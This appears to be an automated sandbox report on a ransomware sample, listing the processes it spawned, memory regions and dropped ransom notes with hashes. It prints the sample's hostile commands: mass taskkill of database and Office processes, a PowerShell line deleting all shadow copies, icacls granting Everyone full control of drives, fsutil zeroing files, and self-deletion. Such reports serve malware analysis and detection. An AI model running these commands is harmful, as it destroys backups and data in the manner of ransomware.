C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\SysWOW64\icacls.exe

"icacls" "Z:*" /grant Everyone:F /T /C /Q

C:\Windows\SysWOW64\icacls.exe

"icacls" "D:*" /grant Everyone:F /T /C /Q

C:\Windows\SysWOW64\icacls.exe

"icacls" "C:*" /grant Everyone:F /T /C /Q

C:\Windows\SysWOW64\fsutil.exe

fsutil file setZeroData offset=0 length=524288 “%s”

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 3

Network

Files

memory/1808-114-0x0000000000920000-0x0000000000921000-memory.dmp

memory/1808-116-0x0000000005170000-0x0000000005171000-memory.dmp

memory/1808-117-0x0000000002A90000-0x0000000002A91000-memory.dmp

memory/1808-118-0x0000000005A90000-0x0000000005A91000-memory.dmp

memory/3984-119-0x0000000000000000-mapping.dmp

memory/8-120-0x0000000000000000-mapping.dmp

memory/1096-121-0x0000000000000000-mapping.dmp

memory/2132-122-0x0000000000000000-mapping.dmp

memory/3488-123-0x0000000000000000-mapping.dmp

memory/584-124-0x0000000000000000-mapping.dmp

memory/3284-125-0x0000000000000000-mapping.dmp

memory/2780-126-0x0000000000000000-mapping.dmp

memory/2760-127-0x0000000000000000-mapping.dmp

memory/3968-128-0x0000000000000000-mapping.dmp

memory/3772-129-0x0000000000000000-mapping.dmp

memory/3856-130-0x0000000000000000-mapping.dmp

memory/364-132-0x0000000000000000-mapping.dmp

memory/2104-131-0x0000000000000000-mapping.dmp

memory/1012-133-0x0000000000000000-mapping.dmp

memory/3960-135-0x0000000000000000-mapping.dmp

memory/3864-134-0x0000000000000000-mapping.dmp

memory/3328-136-0x0000000000000000-mapping.dmp

memory/2136-137-0x0000000000000000-mapping.dmp

memory/3388-138-0x0000000000000000-mapping.dmp

memory/428-139-0x0000000000000000-mapping.dmp

memory/3952-141-0x0000000000000000-mapping.dmp

memory/2120-140-0x0000000000000000-mapping.dmp

memory/3116-142-0x0000000000000000-mapping.dmp

memory/1324-143-0x0000000000000000-mapping.dmp

memory/384-144-0x0000000000000000-mapping.dmp

memory/3848-145-0x0000000000000000-mapping.dmp

memory/752-146-0x0000000000000000-mapping.dmp

memory/3868-147-0x0000000000000000-mapping.dmp

memory/3400-148-0x0000000000000000-mapping.dmp

memory/4104-149-0x0000000000000000-mapping.dmp

memory/4140-150-0x0000000000000000-mapping.dmp

memory/4224-152-0x0000000000000000-mapping.dmp

memory/4212-151-0x0000000000000000-mapping.dmp

memory/4320-153-0x0000000000000000-mapping.dmp

memory/4332-154-0x0000000000000000-mapping.dmp

memory/4412-155-0x0000000000000000-mapping.dmp

memory/4480-156-0x0000000000000000-mapping.dmp

memory/4512-157-0x0000000000000000-mapping.dmp

memory/4584-158-0x0000000000000000-mapping.dmp

memory/4636-159-0x0000000000000000-mapping.dmp

memory/4688-160-0x0000000000000000-mapping.dmp

memory/4740-161-0x0000000000000000-mapping.dmp

memory/4780-162-0x0000000000000000-mapping.dmp

memory/4792-163-0x0000000000000000-mapping.dmp

memory/4856-164-0x0000000000000000-mapping.dmp

memory/4988-165-0x0000000000000000-mapping.dmp

memory/5052-166-0x0000000000000000-mapping.dmp

memory/5076-168-0x0000000000000000-mapping.dmp

memory/5064-167-0x0000000000000000-mapping.dmp

memory/1808-169-0x0000000006B60000-0x0000000006B61000-memory.dmp

memory/3948-170-0x0000000000000000-mapping.dmp

memory/4148-171-0x0000000000000000-mapping.dmp

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

MD5 de31bf120448e7467766942d8d7e55eb
SHA1 ce49f68a55beafb1638055bd377c89acf641f3d9
SHA256 8b817d354dc584abee9bb4a822a65ceb6680ad730ef021b74a7b5dcd7840bda6
SHA512 a088c8786af5669db7b5e34e20d3b883b04b17f88d64ea816e345a8ecc618beceb9fb1ba9b3dd44a4f6291903d5bd1cf90a3614585c5b49ef1909460ff4f7053

memory/1296-173-0x0000000000000000-mapping.dmp

memory/4348-174-0x0000000000000000-mapping.dmp

memory/4188-175-0x0000000000000000-mapping.dmp

memory/4276-176-0x0000000000000000-mapping.dmp

memory/4268-177-0x0000000000000000-mapping.dmp

memory/3984-178-0x0000000000000000-mapping.dmp

memory/3856-179-0x0000000000000000-mapping.dmp

memory/3968-180-0x0000000000000000-mapping.dmp

memory/4456-181-0x0000000000000000-mapping.dmp

memory/4504-182-0x0000000000000000-mapping.dmp

memory/4516-183-0x0000000000000000-mapping.dmp

memory/4612-184-0x0000000000000000-mapping.dmp

memory/4640-187-0x0000000004B30000-0x0000000004B31000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

MD5 bbf67560d18bd3657aa8cd7ee0286c34
SHA1 5b067355e1f5ebdf551886c2f9aa916205c915b7
SHA256 dc2d9326c65de82075eeae75eab56c5f53fcbf445586d81888279f189b6180b5
SHA512 51839ce413e41d8b0b405b25f26e7d2355184184e0c3bc110410b43c03d968dddfe6a91fae618345417078751f3434d3acccfa2fdb26562e4543e0df732fe94d

memory/4640-191-0x0000000004B72000-0x0000000004B73000-memory.dmp

memory/4640-190-0x0000000004B70000-0x0000000004B71000-memory.dmp

memory/4640-189-0x0000000007520000-0x0000000007521000-memory.dmp

memory/4640-192-0x0000000007BC0000-0x0000000007BC1000-memory.dmp

memory/4640-193-0x0000000007E40000-0x0000000007E41000-memory.dmp

memory/4640-195-0x0000000007F20000-0x0000000007F21000-memory.dmp

memory/4640-196-0x0000000007DF0000-0x0000000007DF1000-memory.dmp

memory/4640-197-0x0000000008670000-0x0000000008671000-memory.dmp

memory/4640-198-0x00000000086C0000-0x00000000086C1000-memory.dmp

memory/4640-210-0x0000000004B73000-0x0000000004B74000-memory.dmp